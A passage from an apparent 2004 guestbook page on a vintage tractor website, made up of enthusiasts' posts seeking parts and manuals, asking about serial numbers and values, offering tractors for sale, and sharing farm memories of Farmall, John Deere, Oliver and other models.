governor-control notched rod was on the RIGHT side of the gas tank. It is a pretty elegant design for a retro-fit. There were other, similar governors sold by independent farm-supply stores (I remember one, Central Tractor). These usually had a lesselegant control setup than the IHC model. Sometimes when the variable governor was installed, no one bothered to take off the original throttle lever just in front of the steering wheel. Just behind the governor housing on the variable type, there is a little bellows which seals the governor from the outside, while still allowing the control rod to move in and out. I remember seeing a model (Ertl?) some years ago with both the bellows and the original throttle lever! (another case of copying something without understanding it). The same company even produced a "Regular" Farmall model with the bellows! This was only possible if the original governor had been replaced with the retrofit. In any case, the bellows doesn't belong on an authentic original Farmall (don't misunderstand me--the variable governor was wonderful, and I would certainly want it on a tractor that was meant to be used). I don't claim to be the last word on F-20 information, but I have some references to look things up in (parts book and a few old sales brochures), and would be happy to share any information I have.
jonathan knott wrote on Friday, April 09, 2004 (PDT):wrote april 9, 04 yes i have a 60 and i think your tractor is very nice and i,m going to pull my tractor and i am only 14 years old
Gene Madaras wrote on Thursday, April 08, 2004 (PDT):Whom do I contact to find a rebuilt or repairable head for a farmall FAA ser.# series?
Tom Morgan wrote on Wednesday, April 07, 2004 (PDT):Just completed total restoration of a 1946 JD LA.It is great fun to drive. handles easily. Due to its small size,it is easy to transport to shows. A friend is starting to restore a 1938 L. crank start with a Hercules engine. At some point in time,this will probably be available for sale.
Roy Mitchell wrote on Tuesday, April 06, 2004 (PDT):I would like to purchase a John Deere Model L in good shape. My office is 580-696-4568.
Bill Reed wrote on Tuesday, April 06, 2004 (PDT):1948 MT for sale , best offer. Ran when I put her up three years ago. No time to tinker. Location mid Maine.
David Letterman wrote on Monday, April 05, 2004 (PDT):Truman, you will be happy that you purchased your Cub for $500 because if you spent more than that, you probably will be spending a lot on parts to restore it. Your Cub will then be worth over $2000. Good luck.
David Pickard wrote on Monday, April 05, 2004 (PDT): I purchased MM M5 a few months ago and I need to replace the pto shaft that is broken. Does anyone know where I could purchase one.I am looking foward to pulling the bushhog with tractor.
TRUMAN TRIM wrote on Monday, April 05, 2004 (PDT):MY DAUGHTER AND SON-LAW BOUGHT ME ONE FOR MY BIRTHDAY IT'S A FARMALL 1949. THEY ONLY GAVE 500.00. I'VE ALWAYS WANTED ONE. I'M GOING TO RESTORE. I LOVE MY TRACTOR.
Darrin Louden wrote on Sunday, April 04, 2004 (PDT):This tractor looks a lot my dad,s '58 444.I guess all that can be said is Massey is a great one.
Patrick O'Malley wrote on Saturday, April 03, 2004 (PST): My mother-in- law was 2- MMZ's, one running and one for parts. I am trying to find out what they are worth. Also theres a MMUB and a U-302.
FX Gilbert wrote on Saturday, April 03, 2004 (PST):Does anyone reprodece or have acess to the original Instruments used on the VAO madel tractor; the Ampmeter,Temperature and Oil Pressure gauges ?
Frank wrote on Saturday, April 03, 2004 (PST):I am looking for a farmall regular cultch or cultch pads
Marty wrote on Saturday, April 03, 2004 (PST):I own a OC-3 Oliver and I am looking for a Hercules motor or any electronic parts for distrubtor. Any comments would be helpful.
Chuck Hawley wrote on Saturday, April 03, 2004 (PST):When my parents, Maynard & Eloise Hawley, started dairy farming in Stevensville, PA in 1940 they bought a Minneapolis Moline Z, Tricycle Front end, and it was used on the farm until 1958... I learnt to drive on it when I was 6 yrs old and it was the best tractor for power & torque... We had a neighbor who bought a Farmall Super M that couldn't match the Minnie... It was the best darn tractor on the "Belt" for silo filling & you couldn't stall it out as I know 1st hand that our neighbor was planning on showing up dad's tractor with his new Super M, but, it stalled out & plugged the blower pipe 3 times before he gave up & let dad put the "Z" on the belt... Then the neighor tried his best to load the blower up to the hilt to make it plug, but, the old "Z" just dug down kept putting corn up the silo pipe... It was one fantastic tractor & even through I'm long off the farm I wish I still had that old "Z"... It wasn't anything fancy (Metal seat, Hand Clutch, Individual rear wheel brakes & Metal Push Button Starter) but it got the job done... Walkersville, MD
David wrote on Friday, April 02, 2004 (PST):I am looking for a magnito including the cap for a Case SC(1939-1945)...that is what the seller told me the year was, it ran fine for about 4 hours after I purchased it. Then it died. A local yokal mek i nak said it was probably the magnito so he removed it and when he replased it, it must not have been lined up correctly, because when it turned over it arched and cracked the cap. so for the last year Ihave been searching for someone who knows anything about this problem. I really would like to get it running, and use it. It had been in the sellers family since it was new. Anyone know anything? Central Caalifornia.(SALINAS) phoen 831-663-1711 DAVE
Bob Hauswirth wrote on Friday, April 02, 2004 (PST):Cockshutt was a Canadian company manufacturing plows when it was first formed. Cockshutt sold both Allis Chalmers tractors amd Oliver thractors under its name in its history. My Father had two Chockshutt 99 and I still have the newest one in my storage shed. It was an Oliver 99 painted Cockshutt red and with Cockshutt cast in the upper radiator tank. Oliver had Oliver there and was painted green. There were an number of Cockshutt tractors in this area of Canada (East of Calgary) and were all Olivers models 70, 80, 90 and 99. In the late 1940's Chockshut built it's own tractor the model 30. It was a nice little tractor but without some of the features Ford had such as a three point hitch. Because of this and it's size it was not a big seller in this area. I am looking for parts for my Cockshutt99/Oliver99 such as a rebuilt Marvel Shebler carbureator and a generator.
Norman Mosier wrote on Thursday, April 01, 2004 (PST):I have what I think is a 1928 Regular. It is on steel all the way around. The serial # is T27471. It is in excellent condition. Has not run for years but engine is free. What would it be worth and is anyone interested in purchasing it? Can send photos, is located in Washington State.
Gene Stewart wrote on Thursday, April 01, 2004 (PST):I have a 1953 CA AC that was rebuilt about 8 years ago and has a 6 ft Woods belly mower. Runs great and when mowing you can't hardly hear it running. Wide front and looking to sell. Would anyone know a good asking prce for it or know anyone who is interested. Instead of AC emblem on it had a 80 year old man paint Green Acres on it. Looking to buy a tractor with a bucket and upgrade. Thanks. estewart at iowatelecom.net
Donald Wysokowski wrote on Wednesday, March 31, 2004 (PST):I have a John Deere Model L, 1944, serial 641070. can not get the belt shaft(pulley) to line up, any suggestions appreciated.
Ed Miller, Sr wrote on Wednesday, March 31, 2004 (PST):As a child growing up on a 160 acer farm in van Wert county Ohio, I "cut my teeth" on one of these F-20's. We had several and other then the first one bought by my great uncle Bert, I can't remember that we ever paid more then $75.00to $125.oo for any of them. I remember well getting my knuckles wrapped by that hard steel steering wheel when thoes front wheels dropped in a plowed futtow. But BOY would I give almost anything for thoes good old days again. And for another F-20>
Gideon Jakubovitch wrote on Tuesday, March 30, 2004 (PST):Where can I find the original brocure with part numbers of the Allis "G"? I mean not the manual service of the engine but to the parts of the "G" that comes between the steering wheel and the front. I am restoring this G and I need part numbers of all the parts, only that way I could ask and explain exactly which parts i need. Any help highly appreciated. You can also contact me to gideonyz at netvision.net.il
Jerry Linney wrote on Tuesday, March 30, 2004 (PST):In regard's to the fellow's wanting to know how to hook up the plow on a Cub at also the A'S it is very easy.Turn your drawbar to the front and on the side's of tour drawbar you will see 3/8" bolt on each side,and you will also see drilled hole's that allow you to change the pitch of your drawbar up or down.To mount the plow drop the drawbar down one hole. This will let the plow go into the ground.
Philip Jung wrote on Monday, March 29, 2004 (PST):Does anyone know where I can get a mechanics manual on a 1946 "M" model farmall, I have some intermitant grinding noise in the tranny when the clutch is let out and would like to have a schematic of it before I remove the upper plate above the tranny.
Ken Gunderson wrote on Sunday, March 28, 2004 (PST):Rebuilding B Farmall need wiring diagram can someone help me out? Thanks.
Jonathan Herring wrote on Saturday, March 27, 2004 (PST):I am looking for a fairly rust free hood for an LA, I need other assorted parts yet will look for them as needed. 903 586-4871
David Leterman wrote on Friday, March 26, 2004 (PST):Rob, look at Jim Broughtons Monday August 13, 2001. Then you might have some luck! The site is www.Millertire.com.
David Leterman wrote on Friday, March 26, 2004 (PST):Stephine, This is a Farmall Cub site. Go to a Ferguson site and you might have some luck!
Felecia wrote on Friday, March 26, 2004 (PST):HI! I have an International Harvester B414. All I know is that it is a British Tractor. I am having problems finding parts for it. Could anyone give me a website that would help?
rob johns wrote on Thursday, March 25, 2004 (PST):Anyone know a good source for Farmall Cub tires? I'm looking for 8.3 X 24 for the rear. Thanks in advance for your help!!!!
Landon Paulson wrote on Thursday, March 25, 2004 (PST):woah this group is page is really active ... still wondering where the cerial number is, as i asked earlier in my previous comment. thanks , talk ta y'all later.
phillip cumberbatch wrote on Wednesday, March 24, 2004 (PST):have just purchased a oliver 70 unknown vintage from old farm full of vintage tractors all sorts of makes have a few pics i took but batteries ran out before i could take more. seller is keen to sell can provide contact details.one drawback country australia.
Sandy wrote on Wednesday, March 24, 2004 (PST):We are looking for an IH Super MTA , M, or H. Please reply to my email.
WILL STREET wrote on Tuesday, March 23, 2004 (PST): I SOLD MY D-21 TO CAGLE'S DAIRY NORTH OF ATLANTA,GA. THIS WILL MAKE A GOOD HOME FOR THIS TRACTOR. THEY WILL USE IT TO PULL WAGONS CARRYING TOURIST, CHILDREN ETC. I AM HAPPY THEY HAVE THE TRACTOR FOR THIS REASON.
Crystal & Doc wrote on Tuesday, March 23, 2004 (PST):My Dad is restoring a 1946 Farmall Model M tractor (just about done) and he is interested in going to some shows. We live in Southern California. Can anyone direct me to a website or something with show dates? Thanks so much!
Tige Hamm wrote on Monday, March 22, 2004 (PST):I need a double control valve lever and a set of headlights with brackets ,if anybody has any info or knows where i can find these parts please let me know
myra nehmelman wrote on Monday, March 22, 2004 (PST):I have a case model d tractor serial number is dc8026938 runs great has a belly mower it is in good condition. What is the value.
jerry wrote on Tuesday, March 16, 2004 (PST):i have a H and use it to rake hay and to pull the hay wagon but the brakes are stuck not the pads the shaft that the brake peddle is bolted to can someone help me farmeboy196 at hotmail.com
Curt Hasselbacher wrote on Monday, March 15, 2004 (PST):Does anyone know where I could find a WD-45 Diesel? This tractor caught my eye when I watched one plow at a local plow day last year. I need a powerful reliable chore tractor/showpiece, and a WD-45 Diesel would do very well. Everything else on the place is orange (no AGCO, all Allis) and using the 7080 for chores just doesn't work.
RICK wrote on Sunday, March 14, 2004 (PST):HELLO, MY DAD & I JUST BOUGHT A B FARMALL. WE WOULD LIKE TO MAKE IT A TWO SEATER, BUT THE ONE WE BOUGHT HAS A "H" STYLE SEAT. WE NEED TO PURCHASE 2 SEATS,2 SETS OF SPRINGS & 1 FLOORBOARD & 2 UPRIGHT BRACKETS. IF ANYONE HAS ANY PROSPECTS PLEASE REPLY. THANKS & HAPPY TRACTORING.
T.Lewis wrote on Saturday, March 13, 2004 (PST):My father has the M model, It has been in the family for 50 years and it still runs as good today as when it was new.
Wesley McClellan wrote on Saturday, March 13, 2004 (PST): I am part of our schools FFA. We are restoring a 1950 Farmall H and I no nothing about restoring anything there for I need a little help with the transmission I was wondering where I could get a diagram of how the transmission goes together
Joe wolfort wrote on Thursday, March 11, 2004 (PST):I'm looking to purchase an OliverOC3/4,0r a Cletrac HG 42 Dozer,or,Loader.If you have one for sale E-mail me at; jgwolfort at netzero.com or.call 305 745 9821.Thanks,Joe.
rhoda wrote on Thursday, March 11, 2004 (PST):Have a 1939 AC "B" model; completely restored; 4 cylinder gas engine; magneta start; new tires; wide front end "show condition". Still has original seat. Any ideas on what it is worth?
stephanie wrote on Thursday, March 11, 2004 (PST):my father has a ferguson 1952 tractor and is look for a 3 prone hook up digger. can you help me with find one
Jim from Akron, NY wrote on Monday, March 08, 2004 (PST):What a great site. My wife and I own a 1960 2010 with a narrow front end. I should say my wife owns it. When she and her ex-husband split up, he got the washer and drier and she got the tractor. She absolutly loves it and even calls it "Big John". It was the primary tractor on our small horse farm doing everything from spreading manure and mowing hay to clearing snow and bush hogging. It lost oil pressure in the fall of 2003 so I decided it was time to finally overhaul the engine. I'm having a little trouble finding parts and everything, if available, has to be special ordered. It seems that the engine is unique to the 1010 and 2010 only. The latest problem was finding the engine sleeves. Only the 2010 has the sleeves and the top engine plate as one assembly. I finally found one in Michigan from a dealer who had one for years by mistake. I hope this is the last roadblock to getting the tractor back together because spring is coming and I need it to do hay! Although I've had my problems with it, I chalk them up to age more than poor design. I think it's a great tractor and fills our needs better than any of the more popular small Fords or IHs.
Darlene wrote on Sunday, March 07, 2004 (PST):Just bought a 1941 Farmall tractor. Everything is original and it runs. Don't know much about it yet but probably will sell it.
Robert B Pyle wrote on Sunday, March 07, 2004 (PST):When I was growing up on my great grandmother's orchard we had a 1941 ZTS on steel. That tractor was my favorite of the two my great grandmother had (the other being a Farmall M). Richard Wakeman of Lawrence, Kansas now owns the old "Minnie" and has her in his collection.
elijah shelton wrote on Sunday, March 07, 2004 (PST):I would like to get a tractor like that, you wouldn't be able to tell me were I could get one would you?
Jason Zinger wrote on Saturday, March 06, 2004 (PST):I am in the process of buying a 1942(I am told) Oliver 60 rc. Metal and tires are in good condition, tractor runs great, I got it for $1,000.....can anyone tell me their thoughts as to if i got a good deal or not? The side shields for the engine are missing but thats it. Oh yeah, it does come with front cultivators as well. Any info on getting a bit more horse out of it would be really apreciated as well, as my 6 year old daughter and I plan to pull it, we have always pulled Deeres and a Farmall Bn. Don't really know anything about Olivers, one man I know who has a 60 told me I was getting a good deal, I hope so. Does anyone have any suggestions for more sites for Oliver 60 info as well? I would like to bore and stroke it, any and all specs on this tractor I can get would be very greatly appreciated, thank you much, Jason. My email is - farmboys_pullintoys at yahoo.com and I would be happy to call anyone willing to talk to me about this little tractor if you can help me gain information. One last thing, can anyone tell me where to find the serial number tag on this tractor??
Jason Zinger wrote on Saturday, March 06, 2004 (PST):I am in the process of buying a 1942(I am told) Oliver 60 rc. Metal and tires are in good condition, tractor runs great, I got it for $1,000.....can anyone tell me their thoughts as to if i got a good deal or not? The side shields for the engine are missing but thats it. Oh yeah, it does come with front cultivators as well. Any info on getting a bit more horse out of it would be really apreciated as well, as my 6 year old daughter and I plan to pull it, we have always pulled Deeres and a Farmall Bn. Don't really know anything about Olivers, one man I know who has a 60 told me I was getting a good deal, I hope so. Does anyone have any suggestions for more sites for Oliver 60 info as well? I would like to bore and stroke it, any and all specs on this tractor I can get would be very greatly appreciated, thank you much, Jason. My email is - farmboys_pullintoys at yahoo.com and I would be happy to call anyone willing to talk to me about this little tractor if you can help me gain information.
Bill Krolczyk wrote on Saturday, March 06, 2004 (PST):The difference between RC&STD is RC stands for (ROW CROP)narrow front end (wheels very close together)& STD stands for (Standard) is a wide front end.Ilive in N.Y. THERE is a book called MASSEY TRACTOR DATA BOOK .Its every thing you will every thing you will need to know .(Paint,motor size of each tractor,tire size,years made (ECT)
Bill Krolczyk wrote on Saturday, March 06, 2004 (PST):The difference between RC&STD is RC stands for (ROW CROP)narrow front end (wheels very close together)& STD stands for (Standard) is a wide front end.Ilive in N.Y. THERE is a book called MASSEY TRACTOR DATA BOOK .Its every thing you will every thing you will need to know .(Paint,motor size of each tractor,tire size,years made (ECT)
Bill Krolczyk wrote on Saturday, March 06, 2004 (PST):The difference between RC&STD is RC stands for (ROW CROP)narrow front end (wheels very close together)& STD stands for (Standard) is a wide front end.Ilive in N.Y. THERE is a book called MASSEY TRACTOR DATA BOOK .Its every thing you will every thing you will need to know .(Paint,motor size of each tractor,tire size,years made (ECT)
Al Smith wrote on Saturday, March 06, 2004 (PST): Does anyone have a manual for a Case VAI ? I have purchased a number of different manuals for Case, but none of them mention the VAI, specifically. Thanks....Al
Tony Maroney wrote on Friday, March 05, 2004 (PST):I see many seeking info in the Funk v8 conversion. Has anyone come up with info, or the bell housing adapter plate? Looks like an opportunity for a whiz-bank machinist!
jay fightmaster wrote on Thursday, March 04, 2004 (PST):Ihave a late model G with hyd. and belt pulley, cultv. and woods belly mower. would like to buy plow. In central Ky area. Please contact if you have implememts for sale.
D. Bjorn Christian wrote on Tuesday, March 02, 2004 (PST):I grew up using a 770. When Dad bought it in '64 it was the second largest tractor in the area...the largest being an 880. I think back to all the things we did with that tractor and it amazes me that we didn't kill it! Tough old bugger it was! We used it for farming, logging, firewood hauling, snow removal, landscaping, gravel digging, and just about anything and everything else a tractor could be used for. Dad sold the farm and the tractor back in '94, and I stopped back for a visit two years ago. The tractor is still running, but it's in really rough shape now. The people who bought it really didn't take care of the tractor...or the farm for that matter.
Thomas E. Scher wrote on Tuesday, March 02, 2004 (PST):Looking for a F-20 don't know what year like my father's. I remember it had short wheels with a spoked hub.Can anyone help me out with the year or know anyone who might have one for sale.
Brian Eucker wrote on Monday, March 01, 2004 (PST):I have a 1931 FARMALL Regular SL. # T128760N it puts in late 1931 but it has a four speed trans like in the F20 Most regular had three speed trans. The rest of the tractor is a Farmall Regular.
Rodney Veinot wrote on Sunday, February 29, 2004 (PST):I live in Nova Scotia, Canada could anyone tell me where I could buy a starter for a 1950 0r 1952 Farmall A tractor?
Mark Bickert wrote on Sunday, February 29, 2004 (PST):Hi, I have a massey harris model 81 from 1941. Can anyone help locate an air cleaner assembly for me and service manual?
WILL STREET wrote on Friday, February 27, 2004 (PST): HAVE A NICE 220 BAREBACK TO BE SOLD IN IL.MARCH 20,O4 AT THE RIECHMANN BROS.SALE IN OKAWVILLE.ALSO HAVE A SECOND 22O 3PT. FOR SALE IN FAIRHOPE,AL. BOTH TRACTORS ARE IN VERY NICE SHAPE FOR THEIR AGE.1-251-454-0139.
WILL STREET wrote on Friday, February 27, 2004 (PST): HAVE A NICE 220 BAREBACK TO BE SOLD IN IL.MARCH 20,O4 AT THE RIECHMANN BROS.SALE IN OKAWVILLE.ALSO HAVE A SECOND 22O 3PT. FOR SALE IN FAIRHOPE,AL. BOTH TRACTORS ARE IN VERY NICE SHAPE FOR THEIR AGE.1-251-454-0139.
Craig in Illinois wrote on Friday, February 27, 2004 (PST):There is a fella here in central Illinois from Peoria that has a completely restored Powerhorse. He has it beautifully restored, and pulls a four seater wagon. I ran into him at a tractor show last September 2003, in Mapleton ILL. He brought it to the show and pulled him and his wife around the park a couple of times. It was an Allis Chalmers tractor engine that powered it. The exact engine that is in a B or a C. That is the part that caught my attention. It is sure a neat set-up.
justin tuller wrote on Wednesday, February 25, 2004 (PST):I HAVE A fARMALL CUB MOTOR. I CALL it the DN. YOU should all know what that stands for!!!!!! JT
JIM C wrote on Wednesday, February 25, 2004 (PST):Does anyone in West Tennessee (Humboldt) own a Framall cub sold by Bledsoe International/Farmall dealership. If so would you be interested in selling and at what price ? I.E. Early 1950-1953 Thanks
Jim Coleman wrote on Wednesday, February 25, 2004 (PST):To the Gentleman in Cummings ,Georgia. Your E-Mail got erased. Would you please respond , about the 2 AC G's that you have and the price range that you are asking along with what type of equiptment that is available. Thanks
scott taylor wrote on Tuesday, February 24, 2004 (PST):would like to purchase a john deere L in the southeast MO region if u have any info please email me with location and price
jeff johnson wrote on Tuesday, February 24, 2004 (PST):tm looking for a rebuild kit or a runing motor for 1928 regular
Bill wrote on Sunday, February 22, 2004 (PST): Anyone know what a nice original 1944 WC, NF is worth? It is a super nice tractor, all original, even the 6 Volt system. The mag, starter, and generator have all been re-built. Someone care to make a bid?
Bill wrote on Sunday, February 22, 2004 (PST): Anyone know what a nice original 1944 WC, NF is worth? It is a super nice tractor, all original, even the 6 Volt system. The mag, starter, and generator have all been re-built. Someone care to make a bid?
Jason Benesch wrote on Saturday, February 21, 2004 (PST):I just found this web site. My father has owned a BO Lindeman for years. We start it up and run it around every couple of years. It is in good condition for its age and a joy to drive around. After reading the comments, I didn't know that these machines came with fenders? Do they. Our collection at the moment (all runners, not restored)is sitting at around 35 deere crawlers, starting from the BO Lindeman, with 2 to 4 of each model thereafter up until the 350 and 450 series. I am presently fixing up a 2010 dozer with a winch from the last bolt.
Billy A. James wrote on Friday, February 20, 2004 (PST):Do It All With a Farmall!! Nothing beats them. My Dad and I are about to finish restoration on our '54 M-TA. Good times and beautiful tractors...that's the way it ought to be!
daniel wrote on Thursday, February 19, 2004 (PST):does anyone know anything abought ford 600 workmaster tractors? value? parts? age?
Terry Anderson wrote on Thursday, February 19, 2004 (PST):I spent a few summers on our MM g706. Hand clutch and turning break. My dad picked it up sometime in the mid-70's not sure of the tractor year. He bought a second 706 in the late 70's and ran both of them until he retired. We still have one of them sitting on the now vacant farm. Recently someone was inquiring about buying it. Not sure of the value. I believe it was partially parted out (engine head) a number of years ago. But as far as I know everything else is still there. Would anyone be able to recommend a value.
WANTED DEAD OR ALIVE (MIKE) wrote on Tuesday, February 17, 2004 (PST):I just aquired an old oliver row crop 70 tractor it is in sad shape and I would like to know more about it, how can i tell the year it was made?? SR#216223, i HAVE PICTURES IF YOU WILL E-MAIL ME. mike
allen wrote on Tuesday, February 17, 2004 (PST):I have a 51 Super A and I am having hydraulic trouble.When I use my harrows for an hour or more it does not want to lift them,but I can let it cool a while and it goes back to working.If you can help me with this problem please let me know as soon as possible. THANKS
melissa wrote on Tuesday, February 17, 2004 (PST):this tractor is beautiful take good care of it
J. J. Williams wrote on Tuesday, February 17, 2004 (PST):Thanks to farmerike's serial number list, I have discovered thar my FAB 74515 means that it is a 1941. I thought that it looked too good to be that old, but on the other hand, some of us look too good to be this darned old too.
Mike and Sue Roper wrote on Tuesday, February 17, 2004 (PST):We have a 1948 field marshall series II we just got going after 27yrs. Only took us 4 days to get it cleaned up and going...what a great tractor. It's only missing a fuel cap. Any ideas where to get one? Dad bought it for $50 40 yrs ago
Bob White wrote on Monday, February 16, 2004 (PST):I am restoreing a 1947 Farmall A need fenders, seat,steering wheel etc.Also need info on how to re excite the magnito as I have no spark.Thanks for any info
Armin Friesen wrote on Saturday, February 14, 2004 (PST):Hi everybody out there. I looking for a service manual for Massey 202 Work Bull loader. For those of you who don't know what this is,it's a backwards tractor with the bucket on the big wheel end of the tractor. They used to be popular up here Manitoba with the gravel haulers years ago but there are only a few left now. I have one and still use it on my farm but it needs a few little repairs to bring it up to snuff. If any body knows anything about this machine I'd sure appreciate some feed back. My e-mail address is arminm at mts.net Thanks,ARMIN FRIESEN
Russell Polk wrote on Saturday, February 14, 2004 (PST):All these writings and photos bring back memorable times. My uncle worked at the Cockshutt plant in Smith's Falls for many years and on my birthday he would give me a model tractor(metal)of that model year. That was so many years ago. Thanks for sharing the beautiful photos.
andy biehler wrote on Saturday, February 14, 2004 (PST):I just purchased a MH 44 single wheel diesel and am looking for any info on it as it is a basket case in particular I am looking for a good manual for both the engine and tractor and possibly someone that would be able and willing to send me close up pics of different parts
Jim Nelsen wrote on Wednesday, February 11, 2004 (PST):My R was used by my step mother's dad and uncle in North Dakota. It's a 1954 and if the serial number register is right it is 250 from the last made. It has the export decals but was purchased new in Fessenden N.D. I have seen the purchase receipt. They traded a 39 D off for it. It has 6500 hours on the hour meter but the meter doesn't work now and I don't know if it worked when the tractor was retired in 1966. It sat in a shed after that, and was fired up a few times just to keep it free, but according to the neighbors, it sat for 13 years before I bought it in 1992. We pumped up the tires and pulled it out of the shed. I pushed in the clutch to see of the engine was free and not only was it free, it started! I think my heart was thumping louder than the tractor. The fuel was at least 13 years old and probably older. What a surprise. It has the origional paint, ans it looks good for it's age. The rear tires are 18.4-34 and were full of fluid, plus three cast iron weights per tire. The rear tires are still the 45 degree tread and are in very good shape. The fronts aren't bad either. It's kind of fun to hook it to the four bottom plow for an hour or so each fall. I was raised on the two bangers and have spent thousands of hours on them so I don't get much of a thrill listening to them run, but this R does excite me.
Wayne wrote on Wednesday, February 11, 2004 (PST):I have a cub which has been been in the family for 50 years. It is used to garden every year. I have lost a drive gear for the fertilizer and planter assembley. I have not been able to locate a replacement and need help finding one. It is a 4 inch chain link drive gear with a 3/4 inch shaft. Any help would be great.
E.M.Short wrote on Tuesday, February 10, 2004 (PST):I am a Farmall puller and enjoy restoring and helping other people restore theirs.E-mail me if I can help you in any way.I have a 1951 M and a 1953 Super H. I am currently trying to talk my father-in-law out of his Super C to restore.
brian maloney wrote on Tuesday, February 10, 2004 (PST): have high arched wide front massey 44 according to the serial # it is the 12 tractor of this serias made. it runs good ,,, does any one know the proper paint code numbers for the red and the yellow paint? would like to use PPG paint need to paint a 33 massey also,,, might consider selling the 44
Gaye wrote on Wednesday, February 04, 2004 (PST):I have a 1947 Farmall Cub with a front blade, I need to know how to attached it to the tractor. If anyone could help?I need it or if the is a book out there to show me how . I need the name of it . thank you so much .
J. J. Williams wrote on Sunday, February 01, 2004 (PST):I have a 1946 B with rear cultivator and have added a hydraulic system that runs off the auxilliary side of the PTO, New paint and tires, starter and generator, runs great. call me at 806-366-5650 in Stratford, Texas. I might be persuaded to part with it.
Bob wrote on Saturday, January 31, 2004 (PST):Neighbor has one, narrow front end. We used it to haul wagons when we were making hay from his fields. Hard to keep the front end from wandering at road speeds.
Bob wrote on Saturday, January 31, 2004 (PST):Spent days on the back of one of these, making hay, cleaning the barn, hauling wagons, cultivating corn. Wore out 3rd gear and almost wore out 2nd before it was sold.
don wrote on Saturday, January 31, 2004 (PST):have a farmall super a serial# 334590. would like to know the year of the tractor
A. Jason Leedy wrote on Saturday, January 31, 2004 (PST):I love old John Deeres! My dad has a couple, including a restored 830. It has 28L26 tires on the back,it's awesome. One of my most memorable moments as a young kid involves an "R". A farmer that we knew brought his restored R to a local antique pull. There were no other tractors in his class that night so they let him pull last,just for fun. And fun it was! They could not stop that thing. After his first full pull they loaded everything they had on that boat and away he went. With the front end getting light and a heavy wrinkle in the rear tires my dad and I, along with about 12 or so other people, jumped on the boat to try and stop the green beast. We failed. As we stood there on the front of that boat we noticed that the big steel cable, hooked to the R, was actually coming apart. The track offical had to stop him at that point. If tractors could talk I don't think that R would say anything, but I bet she'd have a big ol' grin!!!
Wayne Mooneyham wrote on Friday, January 30, 2004 (PST):I need a Woods mower for my Super A,to include every thing needed to attach it. Would also like a belly cultivator. Tractor has hydraulics.. Thanks for any help.
patrick stempel wrote on Friday, January 30, 2004 (PST):i have a wd45 diesel. my grandpa bout it new.then my dad got it they worked it a lot. then the farm went under after geandpa died. the dealer got it back.then about 18ten years ago i bout the tractor. it nead a little work but it still runs stroung. and still in the famley.
ELIJAH MUGAMBI wrote on Friday, January 30, 2004 (PST): My father once owned a Fordson major tractor.This was about forty years ago.It was Kenyan registration No KBA 822 He sold it to a farmer who uses it todate for light farm duties.
MIKE MAC wrote on Wednesday, January 28, 2004 (PST):MY DAD AND I JUST GOT A 1946 M FARMALL. WE GOT IT RUNNING WITH JUST A LITTLE EFFORT. WE JUST HAVE TO PAINT IT. I HAVE ENJOYED THE 2 TRACTORS WE HAVE ALREADY COMPLETED (OLIVER SUPER 55 AND A JD B). WE STILL HAVE A LOT MORE TRACTORS TO RESTORE. ENJOY THE TIMES YOU CAN SPEND WITH FAMILY THEY WON'T LAST LONG.
Jim Sandridge wrote on Tuesday, January 27, 2004 (PST): Looking for a WD-45 Gas with tricycle type front end. Complete and repairable.We had one when I was a teen-ager. I would race it when the boss wasn't around. I would tie a string to the governer arm and pull it when I wanted high speed. I had a friend who could get ethyl alchol from his uncle's drug store. I mixed a quart of alky' with 2 quarts of gasoline. Had the muffler burnt out with our acetylene torch. Gutted.I could outrun all the local tractors except my buddy's Oliver 88" Diesel.His uncle's tractor. He made a injector to run kerosene into the intake.He would pull a string to let the kero in. we had 8-N'S ,77's M'S, H's, Some kind of M-M. We would run down this steep hill at night,wide open then let off the throttles. The WD 45 and the 88' diesel would shoot fire five feet in the air. The engines had to suffer,but in the late 40's kid's didn't think about it.The 88 diesel engine did a runaway one night. We were working on the homemade injector and dumped in 10 wt oil and kerosene mix. Way too much went in and the engine screamed for several minutes. We ran, thought the engine would blow.There is no shut down with all that in the intake. I'm 68 years old now and I wised up a little. Jim
James Case wrote on Monday, January 26, 2004 (PST):I also have a john deere mt just like the one shown in the picture is this a rare tractor we have owened it since it was brand new i just about have it completly restored. i'm looking for a wiring diagram could anyone help.
Carol wrote on Monday, January 26, 2004 (PST):Back when I was 13 yrs. old, my Dad bought a 1954 Massey-Harris 44 Special, 277, wide front end. I spent many hours not only driving it, but also working on it, maintaining it, and modifying plenty of things on it. I now have my own 13 yr. old Daughter, and some of the best times we have had together have been with this tractor. She knows as much about as I do, and thankfully, can drive it as well...Just wish I could find a reliable parts resource.
Tom Schuppert wrote on Sunday, January 25, 2004 (PST):Bought a Super Major, 1964, for $700 last September. It starts if temperature is above 25 degrees. Everything needs attention-wiring, injector, timing, sheet metal, you name it. Is blue-orange wheels, cast fronts. A Dagenham product probably. I like it. A very strong runner. Hope to bring it back to its original glory, starting this spring. It's nice to have something a little out-of-the-ordinary in a region of 'Deeres and Farmalls.
Jim wrote on Sunday, January 25, 2004 (PST):I am looking for a wiring diagram for a 51' T0-20, 12 volt. Can anyone out there, help?
stephen wrote on Sunday, January 25, 2004 (PST):i have two oliver 70 rc. one of them is a 44 it has the noraml flat disc steal wheels in the rear but the older on which is a 39 has steel wheels with flat steal bars like spokes on it. i was woundering why it had other wheels because you dont see them as much as the disc ones
Stephen Drewes wrote on Sunday, January 25, 2004 (PST):i have two old oliver 70 rc that my grampa had bought in the 1970s sometime and once the tires rotted out he parked them were they now sit. I wish to get one of both of them running most of the parts are there but some of them have woundered off over the years. If anyone has any helpful comments or diagrams to help in the fixing up of these tractors you can send them to me at sdrewes72 at hotmail.com
Stephen Drewes wrote on Sunday, January 25, 2004 (PST):i have two old oliver 70 rc that my grampa had bought in the 1970s sometime and once the tires rotted out he parked them were they now sit. I wish to get one of both of them running if anyone has any helpful comments or diagrams to help in the fixing up of these tractors you can send them to me at sdrewes72 at hotmail.com
everett shively wrote on Sunday, January 25, 2004 (PST):have a 38 f20 that my dad bought new. spent many hours in the seat of that old tractor. it now has a case diesel from a 310 loader to power it. not nearly as much power but goes faster. made a nice conversion the only thing i use it for now is to buzz wood and rekindle menories
Mike in AZ wrote on Sunday, January 25, 2004 (PST):Just got an F-20 sn FA53942N and was told it is a '36 and was painted grey (it is red now), just want to confirm that is accurate.
Scott Budd wrote on Friday, January 23, 2004 (PST):I love this tractor It is great, I have one, I am only 15.
Vaughn wrote on Wednesday, January 21, 2004 (PST):I am in search of a used repair manual for IH Farmall Cub Tractor. Does anyone know where I may find one? Also, interested in anyone's thoughts on converting the oil in the IH Farmall Cub from non-detergent to detergent.
